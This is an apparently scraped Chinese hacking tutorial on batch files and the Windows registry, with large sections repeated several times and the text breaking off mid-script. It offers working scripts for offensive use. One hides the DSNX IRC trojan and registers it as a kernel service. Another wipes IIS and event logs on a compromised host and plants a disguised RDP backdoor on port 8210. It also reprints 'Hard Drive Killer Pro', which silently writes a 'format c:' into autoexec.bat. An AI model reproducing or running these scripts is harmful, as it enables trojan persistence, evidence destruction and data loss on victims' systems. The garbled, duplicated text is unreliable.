3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。
1.创建
创建分为两种，一种是创建子项(Subkey)
我们创建一个文件，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。
1.创建
创建分为两种，一种是创建子项(Subkey)
我们创建一个文件，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。
1.创建
创建分为两种，一种是创建子项(Subkey)
我们创建一个文件，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。
1.创建
创建分为两种，一种是创建子项(Subkey)
我们创建一个文件，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样：
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]
@REM 这样不是更安全^_^.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样：
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]
@REM 这样不是更安全^_^.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to [email]Ex4rch@hotmail.com[/email].
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]
3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to [email]Ex4rch@hotmail.com[/email].
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]
3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
